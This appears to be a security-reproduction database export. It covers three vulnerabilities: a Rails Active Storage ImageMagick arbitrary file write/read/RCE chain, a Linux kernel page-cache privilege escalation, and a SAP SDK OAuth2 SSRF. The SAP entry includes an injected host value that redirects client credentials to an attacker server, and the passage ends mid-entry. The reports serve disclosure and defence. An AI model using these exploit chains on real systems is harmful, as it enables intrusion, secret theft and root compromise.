# Pruva - Complete Reproduction Database # Generated: 2026-11-14T12:16:05.437Z # Total reproductions: 200 This file contains all published vulnerability reproductions from Pruva. For API documentation, see: https://www.pruva.dev/llms.txt ================================================================================ ## REPRO-2026-00389: Rails Active Storage ImageMagick image analysis: arbitrary file write and read (possible RCE) -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00389 - GHSA: GHSA-F3W6-W445-FWH9 (https://github.com/rails/rails/security/advisories/GHSA-f3w6-w445-fwh9) ### Package Information - Name: activestorage (rubygems) - Ecosystem: rubygems - Affected: activestorage < 8.0.5.2 and >= 8.1, < 8.1.4.1 - Fixed: 8.0.5.2, 8.1.4.1 - Severity: critical - CVSS: Unknown - CWE: CWE-1188 ### Root Cause # Root Cause Analysis — GHSA-f3w6-w445-fwh9 Active Storage image analysis: arbitrary file write, arbitrary file read, and code execution through ImageMagick's MSL scripting coder reached from an attached upload. ## Summary `activestorage` hands every attached upload to ImageMagick for image analysis without constraining which of ImageMagick's coders the file may reach. ImageMagick selects a coder from the **content** of the file it is given, and some coders act on files *named inside* the image rather than on the image itself. A file whose content is XML is sniffed as `SVG` (ImageMagick's built-in magic table maps `?xml`/`?xml`/`SVG`/`svg` at offset 1 to the SVG coder), and ImageMagick's own SVG renderer resolves the `xlink:href` of every `` element through `ReadImage`. Because that reference may carry an **explicit coder prefix**, an uploaded SVG containing `` makes ImageMagick parse the named file with the **MSL** ("Magick Scripting Language") coder. MSL is a scripting coder that reads and writes the files its script names, so the upload alone — no variant, preview, or `analyze` call — gives an unauthenticated attacker arbitrary file write, and (with the Disk service, where the attacker's own blob path is knowable) arbitrary file read. This run reproduced the full chain against the real product code: `activestorage` at the parent of the fix commit, driven through a real HTTP upload endpoint, with a real Puma server, a real Active Storage Disk service, the real ImageMagick analyzer, and a real ImageMagick process. It also demonstrated escalation to code execution by writing the attacker's content into a path the application loads and renders. ## Impact - **Component**: `activestorage` (Ruby on Rails) — `ActiveStorage::Analyzer::ImageAnalyzer::ImageMagick` and, more fundamentally, the absence of any ImageMagick coder restriction in Active Storage. - **Affected versions**: `activestorage < 8.0.5.2` and `>= 8.1, < 8.1.4.1`; an application is affected only when all of the following hold: 1. `config.active_storage.variant_processor = :mini_magick` (default for `load_defaults` 6.1 or earlier; the same setting selects the analyzer), 2. ImageMagick runs under a policy that does not deny the coders involved (the policies shipped by Debian and Ubuntu do not deny MSL), 3. untrusted users can attach uploads. - **Risk level**: critical (advisory CVSS 3.0 9.8, `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`). - **Consequences observed in this run**: attacker-chosen file written at an attacker-chosen path with attacker-chosen bytes; files readable by the application process read and exfiltrated over HTTP (the process environment including `SECRET_KEY_BASE`, and a planted credential file); attacker-supplied Ruby executed inside the application process. ## Impact Parity - **Disclosed/claimed maximum impact**: the advisory asserts *arbitrary file write* and *arbitrary file read when attachments are stored with the Disk service*, and states that readable secrets "may in turn allow escalation to remote code execution". The submitted claim contract expects `code_execution` on the `api_remote` surface. - **Reproduced impact from this run**: - arbitrary file write — `full` (exact attacker bytes at an attacker-chosen absolute path), - arbitrary file read — `full` (a planted credential file and `/proc/self/environ` including `SECRET_KEY_BASE`, both exfiltrated over HTTP through the attacker's own blob), - code execution — demonstrated (unique marker file content plus `id` output reflected in an HTTP response). - **Parity**: `full`. - **Not demonstrated / conditions**: the code-execution leg required the write target to be a path the application loads and re-reads, which the reproduced application has because it runs with code reloading enabled (Rails development defaults). The advisory-asserted write and read primitives are unconditional. A deployment with eager loading, template caching, and a non-writable application tree would still be fully exposed to arbitrary file write and read; its escalation to code execution would then depend on the deployment (a scheduled job, a writable autoload path, an executable script, `ld.so.preload` for a root-run process, and so on) and was not separately validated here. ## Root Cause 1. **Coder selection is attacker-controlled.** `ActiveStorage::Analyzer::ImageAnalyzer::ImageMagick#read_image` downloads the blob and runs `MiniMagick::Image.new(file.path)` (i.e. `magick identify` on the file). Nothing in Active Storage restricts the set of coders ImageMagick may pick, so the uploader decides which parser handles the bytes. ImageMagick's built-in magic table maps XML-looking content to the SVG coder. 2. **The SVG coder resolves references through ImageMagick's read path.** `coders/svg.c` stores the `xlink:href` of `` in `svg_info->url` and passes it to `StrictReadImage()`/`ReadImage()` (and emits `image Over x,y w,h "url"` into the MVG it renders). An explicit coder prefix in that reference is honoured, so `msl:` selects the MSL coder for the named file. 3. **MSL acts on files named inside the script.** `coders/msl.c` implements `` and ``: `read` calls `ReadImage` on any filename (raw coders such as `gray:` read the file's bytes verbatim) and `write` calls `WriteImage` to any path. Both run with the privileges of the Rails process. 4. **The Disk service makes the primitive remotely useful.** The blob key is recoverable by decoding the *signed* (not encrypted) disk-service token that Active Storage puts in the `Location` header of the blob redirect, so the attacker knows the on-disk path of their own blob. The MSL script can therefore copy any readable file's bytes into that blob file, and the attacker downloads them through the ordinary blob URL — an arbitrary file read over HTTP. Overwriting any other writable path gives the arbitrary file write. 5. **Trigger point.** `ActiveStorage::Attachment` runs `after_create_commit :analyze_blob_later`, so analysis — and therefore the MSL execution — happens in the request that attaches the file. No variant, preview, or explicit `analyze` call is needed. Fix commit: `ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776` ("Ship an ImageMagick security policy for every MiniMagick process", 8.0 branch; 8.1 branch `468aa9a93fc98f5476b6821770f4ccfcb7f7d328`). The fix ships `activestorage/lib/active_storage/image_magick/policy.xml` and prepends its directory to `MAGICK_CONFIGURE_PATH` through `MiniMagick.cli_env`, so every ImageMagick process MiniMagick spawns denies `MSL`, the other file-reaching coders, the network coders, the Ghostscript coders/delegate, and `@filename` indirection. It also raises at boot for `:mini_magick` applications whose `mini_magick` is older than 5.1 (which cannot apply the policy) — a behaviour observed directly in this run when the fixed application was first started with `mini_magick 5.0.1`. ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` is the single entrypoint. It: - resolves the Rails repository from `bundle/project_cache_context.json` (`/repo`), creates a worktree of the vulnerable commit (`ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776^`, `RAILS_VERSION` 8.0.5.1) and of the fixed commit (`ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776`), and asserts the patch is absent from the first and present in the second; - builds `bundle/repro/docker/Dockerfile`: ImageMagick 7.1.1-32 built from upstream source **without librsvg** (so the SVG coder uses ImageMagick's own internal renderer, exactly as in the reported chain) under the Debian/Ubuntu-style `policy.xml` (which does not deny MSL), plus two minimal but real Rails applications (`/app-vuln`, `/app-fixed`) that use `activestorage` from the two worktrees, `variant_processor = :mini_magick`, the Disk service, `active_job.queue_adapter = :inline`, `mini_magick 5.0.x` for the vulnerable app and `mini_magick 5.1+` for the fixed app; - starts both applications under Puma with `SECRET_KEY_BASE` in the process environment, plants a credential file at `/srv/pruva_credentials.txt`, and runs `bundle/repro/attack/attack.py` twice against each application. 2. `attack.py` is a pure HTTP client. It fetches the upload form and its CSRF token, attaches four uploads through `POST /uploads` (an exfiltration blob, a second exfiltration blob, the attacker's payload bytes, and the MSL script), recovers each blob key by decoding the signed disk token in the blob redirect, attaches the SVG `` (which triggers the analyzer at attach time), retries the environment read with decreasing sizes, and then verifies the effects. 3. Expected evidence: on the vulnerable application the attacker's bytes appear at `/tmp/pruva_arbitrary_write.txt`, the attacker's own blob now carries the server's process environment (including `SECRET_KEY_BASE`) and the planted credential file, and a subsequent page request executes the template the MSL write replaced. On the fixed application nothing happens and the server log shows ImageMagick refusing the coder: `attempt to perform an operation not allowed by the security policy 'MSL'`. ## Evidence All paths are relative to `bundle/`. | Evidence | Location | | --- | --- | | Reproduction log (both runs) | `logs/reproduction_steps.log` | | Vulnerable attempt 1 / 2 attack transcript | `logs/attempts/vuln_1/attack.stdout`, `logs/attempts/vuln_2/attack.stdout` | | Structured per-attempt results | `logs/attempts/vuln_1/summary.json`, `logs/attempts/vuln_2/summary.json` | | Delivered MSL script and SVG | `logs/attempts/vuln_1/05_payload_env1024.msl`, `logs/attempts/vuln_1/06_payload_env1024.svg` | | Arbitrary write target content | `logs/attempts/vuln_1/10_arbitrary_write.txt` | | Exfiltrated bytes (raw / newline-separated) | `logs/attempts/vuln_1/11_exfil_blob_download.bin`, `logs/attempts/vuln_1/12_exfil_environ.txt` | | Planted credential recovered through the blob | `logs/attempts/vuln_1/11b_exfil_canary_download.bin` | | Code execution in the HTTP response | `logs/attempts/vuln_1/13_response_after_template_write.html` | | Target-local RCE marker files | `logs/attempts/vuln_1/14_rce_marker.txt`, `logs/attempts/vuln_2/14_rce_marker.txt` | | Negative-control observations (fix commit) | `logs/attempts/fixed_1/negative_control.json`, `logs/attempts/fixed_2/negative_control.json` | | Fixed attempt transcripts and server policy denials | `logs/attempts/fixed_1/attack.stdout`, `logs/attempts/fixed_1/server.log` | Key excerpts (vulnerable application, attempt 1): ``` exfiltration channel on disk: /app-vuln/storage/fe/8k/fe8k0q5kmsjoxy2exjuo5r4a43t7 attached script_env1024.msl (1888 bytes, application/octet-stream) -> /uploads/3 delivering SVG env1024: arbitrary write to /tmp/pruva_arbitrary_write.txt: matches attacker content environment read with 64 samples (128 bytes) returned 1664 bytes exfiltrated 1664 bytes through the attacker's own blob (SECRET_KEY_BASE present: True, planted credential recovered: True) response after the template write contains command output: 'uid=0(root) gid=0(root) groups=0(root)' server-side RCE marker file content: 'PRUVA_RCE_841517157f8b' (expected 'PRUVA_RCE_841517157f8b') ``` Exfiltrated environment (fragment, from `logs/attempts/vuln_1/12_exfil_environ.txt`): ``` HOSTNAME=32925638596e RUBY_VERSION=3.4.12 PWD=/app-vuln ... SECRET_KEY_BASE=04c5dd7e95... ``` Fixed application (both attempts): ``` exfiltrated 68 bytes through the attacker's own blob (SECRET_KEY_BASE present: False, planted credential recovered: False) response after the template write contains command output: None identify: attempt to perform an operation not allowed by the security policy `MSL' @ error/constitute.c/IsCoderAuthorized/454. ``` Environment: Linux x86_64, Docker 27.5.1, `ruby:3.4-bookworm`, Ruby 3.4.12, `activestorage` 8.0.5.1 (vulnerable worktree `7fe85a72a789eae5ee070ce3ee1dad10a8a5f70c`) and the fix commit `ea8c40121ce53a3d0255cd4eb6d13bfe3bc01776` for the control, `mini_magick` 5.0.1 / 5.4.0, ImageMagick 7.1.1-32 Q16-HDRI (source build, internal SVG renderer, Debian/Ubuntu-style `policy.xml` that does not deny MSL), Puma, SQLite, Active Storage Disk service. ## Recommendations / Next Steps - **Apply the vendor fix**: upgrade `activestorage` to 8.0.5.2 / 8.1.4.1 or later, which ships the ImageMagick policy and applies it through `MiniMagick.cli_env`; with `:mini_magick`, also upgrade `mini_magick` to 5.1 or later (older versions make the fixed release raise at boot, as observed here). - **Do not rely on the host policy alone.** A host policy that denies `MSL` blocks the reported chain, but the advisory is explicit that it does not assume this is the only chain; the shipped policy is a denylist and the variant-analysis stage should test its completeness (coder aliases, host policy re-allow rules placed after the shipped one, GraphicsMagick, applications that replace `MiniMagick.cli_env`/`cli_prefix` or install their own `MiniMagick::Shell`). - **Constrain coders, not just files**: prefer `:vips` for variant processing, and treat "attach" as an untrusted-input boundary — analysis must not run with privileges or file access beyond the blob. - **Run the app without write access to its own code** and without reloading in production; that removes the demonstrated write→execution path but not the write or the read. - **Testing recommendation**: keep a regression test that attaches a file whose content is ``-bearing SVG and asserts that no file named by the script is created. ## Additional Notes - **Idempotency**: the script is self-contained and was run twice consecutively; both runs ended with `=== reproduction confirmed ===` and exit status 0. Each attempt uses fresh random marker content, so the marker evidence cannot be satisfied by leftovers from an earlier run; the show template is restored from `/app-src` before every attempt. - **Limitations**: (1) the RCE leg is conditional on the application loading the overwritten path (demonstrated with code reloading enabled; see Impact Parity); (2) ImageMagick is a source build of upstream 7.1.1-32 without librsvg, chosen because the Debian/Ubuntu packages of the same era carry additional hardening that refuses explicit coder prefixes inside SVG references, and because the reported chain relies on ImageMagick's own internal SVG renderer; the shipped Debian/Ubuntu-style policy (which does not deny MSL) is installed unchanged; (3) the environment read is attempted with progressively smaller raw sizes because ImageMagick aborts an MSL script when a raw read runs past the end of a regular file (the payload writes therefore run first); on this target the very first attempt returned the whole `/proc/self/environ` (1664 bytes, `SECRET_KEY_BASE` included) even though 128 bytes were requested, because procfs reports no size. ### Reproduction - Reproduced: 2026-11-04T15:12:57.652Z - Duration: 6306s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00389 # or: pruva-verify GHSA-F3W6-W445-FWH9 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00389 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00389/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00389 ================================================================================ ## REPRO-2026-00388: ZDI-CAN-33367: Linux Kernel skb_zerocopy() shared-frag marker loss → NFQUEUE/ESP in-place decrypt → page-cache corruption local privilege escalation -------------------------------------------------------------------------------- Status: published Severity: high Type: security ### Identifiers - REPRO ID: REPRO-2026-00388 ### Package Information - Name: Linux Kernel - Ecosystem: Unknown - Affected: Unknown - Fixed: Unknown - Severity: high - CVSS: Unknown - CWE: CWE-668 ### Root Cause # Root Cause Analysis - ZDI-CAN-33367 **Linux Kernel `skb_zerocopy()` shared-frag marker loss -> NFQUEUE -> in-place IPsec ESP decryption over page-cache backed skb frags -> local privilege escalation** Canonical identifier: **ZDI-CAN-33367** (no CVE assigned as of 2026-10-26; the identifier is deliberately *not* renamed). --- ## Summary `skb_zerocopy()` (net/core/skbuff.c) moves fragment descriptors from a source skb into a destination skb and takes a page reference for each transferred frag, but it never merges `skb_shinfo(from)->flags & SKBFL_SHARED_FRAG` into `skb_shinfo(to)->flags`. `skb_zerocopy_clone()` only transfers zerocopy destructor metadata, so the splice-backed shared-fragment marker is silently lost at that boundary. NFQUEUE builds its `NFQA_PAYLOAD` netlink message with exactly this helper (`nfqnl_build_packet_message()` -> `skb_zerocopy()`), so a packet whose frags are page-cache pages attached with `splice(2)` produces a *destination* skb that still owns those page references but reports `skb_has_shared_frag()` as false. A netlink tap (`nlmon`) mirrors that message skb onto a netdevice, where traffic-control `pedit` rewrites only the linear prefix into a valid ESP packet and `mirred` redirects it to `lo`. `esp_input()` sees a nonlinear, uncloned skb *without* `SKBFL_SHARED_FRAG`, skips `skb_cow_data()`, and performs authenticated AES-CBC decryption in place - writing the attacker-chosen plaintext directly into the page cache of a file the attacker may only read. The vulnerability is a *gap in the earlier "Dirty Frag" fix* (`f4c50a4034e6`, `xfrm: esp: avoid in-place decrypt on shared skb frags`, present in the tested 6.12.111 tree at `net/ipv4/esp4.c:876`): the marker is only useful if every helper that moves frags between skbs propagates it. ## Impact * Component: Linux kernel networking stack - `skb_zerocopy()` (`net/core/skbuff.c`), consumed by `net/netfilter/nfnetlink_queue.c` and `net/openvswitch/datapath.c`. * Affected versions: the helper exists since kernel 3.14 (`af2806f8f90a`); the marker-loss gap is exploitable on any kernel that carries the ESP shared-frag check but not the propagation fix - including 6.12.111 / 6.12.113 (Debian 13) used for this reproduction, and the 7.3-rc1 build the reporter tested. * Risk: local privilege escalation. An unprivileged local user can rewrite the page cache of any file it can read (setuid-root binaries, `/etc/passwd`, ...) and obtain uid 0. CVSS 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). The write is page-cache only: the on-disk copy and the inode metadata are untouched, so the corruption is invisible to file-integrity tooling until the cached pages are evicted or the system is rebooted. * Preconditions: unprivileged user namespaces enabled, and the networking pieces the PoC needs (`nlmon`, `nfnetlink_queue`, `nft_queue`/`xt_NFQUEUE`, `cls_u32`/`cls_matchall`, `act_pedit`, `act_mirred`, `esp4`, `xfrm_user`). No KASLR leak and no capability beyond what the attacker's own user+network namespace grants are required. ## Impact Parity * Disclosed/claimed maximum impact: local privilege escalation to root through page-cache corruption of a read-only root-owned file. * Reproduced impact from this run: **full** - two independent vulnerable boots rewrite the page cache of a root-owned mode-0444 file (`ZFRG-OK!` at file offset 4160) *and* rewrite the read-only `.rodata` gate of a root-owned mode-4755 binary, which then executes as real uid 0 (`ROOTME_GRANTED uid=0 euid=0` + `uid=0(root)` from `id`). Two independent fixed-kernel boots run the identical input and fail closed (file unchanged, `ROOTME_DENIED uid=1000`). * Parity: `full`. * Not demonstrated: nothing claimed by the advisory is missing. (The write primitive is 8 bytes per trigger, exactly as in the public PoC; a real-world attacker repeats it to patch a setuid binary.) ## Root Cause 1. `splice()` from a file into a UDP socket stores the file's page-cache page as an skb frag and sets `SKBFL_SHARED_FRAG` (`skb_splice_from_iter()`, `net/core/skbuff.c`). 2. The nftables `queue` statement (or `xt_NFQUEUE`) sends the packet to `nfnetlink_queue`. `nfqnl_build_packet_message()` allocates the netlink message skb and calls `skb_zerocopy(msg, entskb, data_len, hlen)` (net/netfilter/nfnetlink_queue.c:938). 3. `skb_zerocopy()` copies the frag descriptors, calls `skb_frag_ref()` for each one and returns - it never propagates `skb_shinfo(from)->flags & SKBFL_SHARED_FRAG`: ```c skb_shinfo(to)->nr_frags = j; /* frags + page refs moved ... */ return 0; /* ... marker dropped */ ``` 4. `nlmon` taps the message (`netlink_tap` -> `dev_queue_xmit()` on `nlmon0`), tc `pedit` rewrites the first 96 linear bytes into `eth|IPv4(proto=ESP)|ESP|IV|ciphertext[0..38)`, `mirred egress redirect` hands the skb to `lo`, and the loopback receive path routes it into the XFRM inbound policy for 127.0.0.1. 5. `esp_input()` (net/ipv4/esp4.c) decides between in-place decryption and `skb_cow_data()`: ```c if (!skb_cloned(skb)) { if (!skb_is_nonlinear(skb)) { nfrags = 1; goto skip_cow; } else if (!skb_has_frag_list(skb) && !skb_has_shared_frag(skb)) { nfrags = skb_shinfo(skb)->nr_frags + 1; goto skip_cow; } } err = skb_cow_data(skb, 0, &trailer); /* never reached */ ``` `skb_has_shared_frag()` is false because of step 3, so the authenticated AES-CBC decryption runs over the retained page-cache frags and the plaintext is written straight into the page cache. (The tc `pedit` action additionally makes the skb writable, which drops `dataref` to 1 and keeps `skb_cloned()` false - the `!skb_cloned()` arm is therefore taken deterministically.) 6. Fix: propagate the marker in the frag-transfer helper, exactly as the other helpers do: ``` --- a/net/core/skbuff.c +++ b/net/core/skbuff.c @@ skb_zerocopy() skb_shinfo(to)->nr_frags = j; + skb_shinfo(to)->flags |= skb_shinfo(from)->flags & SKBFL_SHARED_FRAG; ``` Upstream review patch (posted 2026-10-22, reviewed by Eric Dumazet, not merged as of 2026-10-26): "net: skbuff: propagate shared-frag marker in skb_zerocopy()" . The reproduction's negative control is exactly this one-line change, built from the same tree and the same `.config` (`kbuild/skbuff.diff`). ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (entry point; self-contained, idempotent). 2. The script: * builds two kernels from the same `linux-6.12.111` tarball with the same `.config` (`bundle/repro/kbuild.sh`): `bzImage.vuln` and `bzImage.fixed` (the one-line fix above); * builds a Debian trixie QEMU guest (`bundle/repro/rootfs.sh`): initramfs with iproute2/nftables, the exploit `skbpoc` (`bundle/repro/skbpoc.c`), a root-owned mode-4755 escalation target (`bundle/repro/rootme.c`) and a 16 MiB ext4 image for the read-only scratch file; * boots the vulnerable kernel twice and the fixed kernel twice in QEMU/KVM with the same initrd and a fresh copy of the ext4 image (`bundle/repro/guest_init.sh` drives the guest); * in every boot `/init` (root) creates the 0444 root-owned target, then runs `skbpoc ctl` which drops to uid 1000 and executes `skbpoc exploit` - the real trigger chain: `unshare(CLONE_NEWUSER|CLONE_NEWNET)` -> sysctls -> `nlmon0` -> XFRM ESP SA + inbound policy -> `nft queue num 0` on LOCAL_OUT -> NFQUEUE helper bound to queue 0 -> tc `clsact` + `matchall` `pedit` (24 u32 munges) + `mirred egress redirect dev lo` -> `splice()` of 8 bytes of the target page plus a 514-byte attacker vector into a UDP socket on 127.0.0.1; * after the trigger the ctl parent re-reads the target (page cache), executes the root-owned setuid binary as uid 1000, then drops the page cache and re-reads to show the on-disk copy is untouched. 3. Expected evidence on the vulnerable kernel: `ESP_SELFTEST ... inner_udp_received=yes`, `PROBE nfq_msglen=618 linear_prefix=96`, `TRIGGER changed=1 target_exact=1`, `PAGE_CACHE_SHA256_AFTER != TARGET_SHA256_BEFORE`, `DISK_SHA256_AFTER_EVICT == TARGET_SHA256_BEFORE`, `ROOTME_GRANTED uid=0 euid=0` and `id` printing `uid=0(root)`. On the fixed kernel the same input yields `TRIGGER changed=0`, identical before/after digests and `ROOTME_DENIED uid=1000`. ## Evidence Per-attempt console logs (final run, exit 0 twice in a row): * `bundle/logs/attempts/vuln_att1.log`, `vuln_att2.log` - vulnerable kernel * `bundle/logs/attempts/fixed_att1.log`, `fixed_att2.log` - fixed kernel (negative control) * `bundle/logs/kernel_identity.txt` - kernel/guest build identity and digests * `bundle/repro/proof_summary.txt` - condensed machine-readable verdict lines * `bundle/repro/runtime_manifest.json` - structured runtime evidence + artifact digests * `kbuild/skbuff.diff` (in the prepared project cache) - the one-line kernel differential ### Vulnerable kernel (`logs/attempts/vuln_att1.log`) ``` USERNS unshare=OK userns_uid=0 netns=fresh ESP_SELFTEST icv_variant=0 inner_udp_received=yes NFQ_HELPER BIND_ACK err=0 NFQUEUE_BIND queue=0 copy_mode=NFQNL_COPY_PACKET copy_range=65535 flags=GSO|UID_GID NFT_QUEUE_SETUP table=zdi chain=out hook=LOCAL_OUT queue=0 PROBE nfq_msglen=618 linear_prefix=96 frags=8+514 NFT_DUMP counter packets 1 bytes 550 queue to 0 LAYOUT linear=96 ct_off=38 ciphertext=544 icv_at=602 total=618 TRIGGER sent=522 target_spliced=8 vector_spliced=514 TRIGGER nfq_msglen=618 INNER_UDP_RECEIVED len=528 (decrypted in place, delivered on lo) TRIGGER changed=1 target_exact=1 guards_ok=1 ``` A. read-only root-owned scratch file (`/mnt/target.bin`, ext4, uid=0 mode=0444, `WRITE_DENIAL_AS_UID1000 ... errno=13 denied=1`): ``` TARGET_SHA256_BEFORE=ec18472a64d15a76eb7dcb5df6a23659155c01acae552de91bfbc75de1a74189 PAGE_CACHE_SHA256_AFTER=2e543af3f2834c4ffa6fcbe691bedddbf711dcda3aadcecf6baa0b7a27b65e05 DISK_SHA256_AFTER_EVICT=ec18472a64d15a76eb7dcb5df6a23659155c01acae552de91bfbc75de1a74189 SCRATCH_PROOF_EXIT=0 ``` The 8 bytes at file offset 4160 became `ZFRG-OK!` in the page cache (`TARGET_WINDOW_AFTER ...5a4652472d4f4b21...`), the digest changed, and after `drop_caches` the window and digest are back to the original: the write landed in the page cache only. B. root-owned mode-4755 binary (`/usr/local/bin/rootme`, `.rodata` gate at file offset 8352): ``` ROOTME_GATE hits=1 offset=8352 ROOTME_DENIED uid=1000 euid=0 <- before the attack TARGET_SLICE_ORIGINAL 5a44492d4f4b2100 <- "ZDI-OK!" DESIRED_SLICE 5a44492d50574e00 <- "ZDI-PWN" TRIGGER changed=1 target_exact=1 guards_ok=1 PAGE_CACHE_SHA256_AFTER=86f12e5b18742477be14da2225ca2f2933fe7614bc919298d2e51e9bb6e6c0d9 ROOTME_GRANTED uid=0 euid=0 uid=0(root) gid=0(root) groups=0(root) ESCALATION_EXEC /usr/local/bin/rootme ZDI-PWN exit=0 SETUID_PROOF_EXIT=0 ``` The 8-byte primitive rewrote the binary's read-only gate inside the page cache; the same unprivileged user then executed it and got a real uid 0 shell (`id` printed `uid=0(root)`, `/etc/shadow` was readable). The root process also wrote a per-attempt marker file (`ROOTME_MARKER_WRITTEN /root/zdi33367_root_marker.txt ZDI33367_ROOT_MARKER_vuln_att1`), which the harness recovered as `bundle/logs/evidence/root_marker_vuln_att{1,2}.txt`; the fixed boots produce no marker (`bundle/logs/evidence/negctl_fixed_att{1,2}.json`). ### Fixed kernel, identical input (`logs/attempts/fixed_att1.log`) ``` ESP_SELFTEST icv_variant=0 inner_udp_received=yes PROBE nfq_msglen=618 linear_prefix=96 frags=8+514 INNER_UDP_RECEIVED len=528 (decrypted in place, delivered on lo) TRIGGER changed=0 target_exact=0 guards_ok=1 SCRATCH_PROOF_EXIT=1 ROOTME_DENIED uid=1000 euid=0 SETUID_PROOF_EXIT=1 ``` The whole chain still runs and the authenticated ESP packet is still decrypted and delivered (so the only behavioural difference is the write destination), but the target page cache is byte-identical before and after (`PAGE_CACHE_SHA256_AFTER` equals `TARGET_SHA256_BEFORE`) and the setuid binary still denies - `skb_cow_data()` linearised the frags because the marker was propagated. ## Recommendations / Next Steps * Apply the upstream propagation fix (`skb_shinfo(to)->flags |= skb_shinfo(from)->flags & SKBFL_SHARED_FRAG;` in `skb_zerocopy()`), or the distribution backports (AlmaLinux `kernel-4.18.0-553.177.2.el8_10`, `kernel-5.14.0-687.59.2.el9_8`, `kernel-6.12.0-211.68.2.el10_2`). * Interim mitigation: `user.max_user_namespaces=0` (blocks the unprivileged namespace setup), or blocking the `nlmon`/`act_pedit` modules where they are not needed. * Audit the remaining frag-transfer helpers for the same marker loss; the advisory notes several follow-up reports for other paths. * Detection: the syscall sequence (user+net namespace unshare -> nlmon -> XFRM -> NFQUEUE -> tc pedit redirect -> `splice()` to loopback) is highly distinctive for a single unprivileged process. ## Additional Notes * Idempotency: `kbuild.sh`/`rootfs.sh` cache their outputs under the prepared project cache and can be re-run safely; each boot uses a fresh copy of the ext4 target image, so repeated runs are independent. * Limitations: the write primitive transfers 8 attacker-chosen bytes per trigger at a chosen file offset (the public PoC behaves the same way); the demonstration therefore patches a single gate inside a root-owned setuid binary rather than rewriting a whole file. The corrupted page is not marked dirty, so the on-disk copy stays intact (shown by the drop-cache re-read). * Both kernels are built from the same tree, `.config` and compiler; the only difference is the one-line marker propagation, so the vulnerable/fixed difference is not a configuration artefact. ### Reproduction - Reproduced: 2026-10-26T21:13:41.837Z - Duration: 6584s - Confidence: high ### Quick Verify ```bash pruva-verify REPRO-2026-00388 ``` ### Links - Detail page: https://www.pruva.dev/reproductions/REPRO-2026-00388 - Script: https://api.pruva.dev/v1/reproductions/REPRO-2026-00388/artifacts/bundle/repro/reproduction_steps.sh - JSON: https://api.pruva.dev/v1/reproductions/REPRO-2026-00388 ================================================================================ ## REPRO-2026-00387: SAP Cloud SDK for Python is vulnerable to OAuth2 SSRF that can exfiltrate client credentials when tenant_subdomain is attacker-controlled. -------------------------------------------------------------------------------- Status: published Severity: critical Type: security ### Identifiers - REPRO ID: REPRO-2026-00387 - CVE: CVE-2026-89111 (https://nvd.nist.gov/vuln/detail/CVE-2026-89111) ### Package Information - Name: SAP/cloud-sdk-python - Ecosystem: PyPI - Affected: < 0.45.2 (includes 0.36.1 and 0.36.2 which lack the check) - Fixed: 0.45.2 - Severity: critical - CVSS: 10 / 10 - CWE: CWE-918 Server-Side Request Forgery (SSRF) (Server-Side Request Forgery (SSRF)) ### Root Cause # CVE-2026-89111 — Root Cause Analysis ## Summary SAP Cloud SDK for Python (`sap-cloud-sdk` on PyPI) contains an OAuth2 server-side request forgery (SSRF) vulnerability in its multi-tenant token handling. When a caller supplies a `tenant_subdomain`, the SDK derives the per-tenant OAuth2 token URL by performing an unvalidated string replacement of the provider identity zone inside the configured token URL (`token_url.replace(identityzone, tenant_subdomain)`). An attacker who controls `tenant_subdomain` can therefore rewrite the token endpoint host to an attacker-controlled server, causing the SDK to POST the OAuth2 `client_id`/`client_secret` to the attacker — credential exfiltration. ## Impact - Package/component: `sap-cloud-sdk` (PyPI), `sap_cloud_sdk.destination._http.TokenProvider.get_token()` (the same pattern was also fixed in `sap_cloud_sdk/dms/_auth.py` and `sap_cloud_sdk/agentgateway/agw_client.py`). - Affected versions: `< 0.45.2`; patched in `0.45.2`. - Risk: Critical (CVSS 10.0, `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N`, CWE-918). Consequences: theft of OAuth2 client credentials for the BTP Destination/DMS/Agent-Gateway service bindings, enabling downstream unauthorized access within the client's roles and scopes. ## Impact Parity - Disclosed/claimed maximum impact: SSRF with OAuth2 client-credential exfiltration to an attacker-controlled server. - Reproduced impact from this run: full SSRF with credential exfiltration — the vulnerable SDK (0.45.1) sent a live `POST` containing `client_id` and `client_secret` to the attacker-controlled HTTPS server and accepted the attacker-issued access token. - Parity: **full**. - Not demonstrated: none beyond the claim (no code execution is claimed or required; the impact class is SSRF / credential disclosure). ## Root Cause In `sap_cloud_sdk/destination/_http.py` (vulnerable 0.45.1), `TokenProvider.get_token()` contains: ```python if tenant_subdomain: try: token_url = token_url.replace(str(identityzone), tenant_subdomain) except Exception: token_url = self._config.token_url ``` `tenant_subdomain` is concatenated into the URL **without any validation**. With a configured provider token URL such as `https://provider-zone.authentication.eu10.hana.ondemand.com/oauth/token` (`identityzone = "provider-zone"`), an attacker value of `127.0.0.1:/capture?` produces `https://127.0.0.1:/capture?.authentication.eu10.hana.ondemand.com/oauth/token` — the host becomes the attacker's server and the remainder of the legitimate URL is demoted into the query string. The subsequent `OAuth2Session.fetch_token()` then POSTs `grant_type=client_credentials&client_id=...&client_secret=...` to the attacker. The same unvalidated `replace()` pattern existed in `sap_cloud_sdk/dms/_auth.py::_resolve_token_url()` and the agent-gateway client's tenant subdomain handling. Fix (0.45.2): a new module `sap_cloud_sdk/core/_tenant.py` adds `_validate_tenant_subdomain()`, which enforces a single RFC 1123 DNS label (`^[A-Za-z0-9](?:[A-Za-z0-9\-]{0,61}[A-Za-z0-9])?$`) and raises `ValueError` before any URL substitution, in all three affected call sites. Advisory: GHSA-4mv3-jxxm-9cx2 (). ## Reproduction Steps 1. `bundle/repro/reproduction_steps.sh` (helpers: `bundle/repro/attacker_server.py`, `bundle/repro/harness.py`). 2. The script: - downloads the pinned PyPI wheels `sap-cloud-sdk==0.45.1` (vulnerable) and `sap-cloud-sdk==0.45.2` (fixed) and records their SHA-256; - creates a venv and installs the vulnerable wheel with its real dependency tree; - starts an attacker-controlled 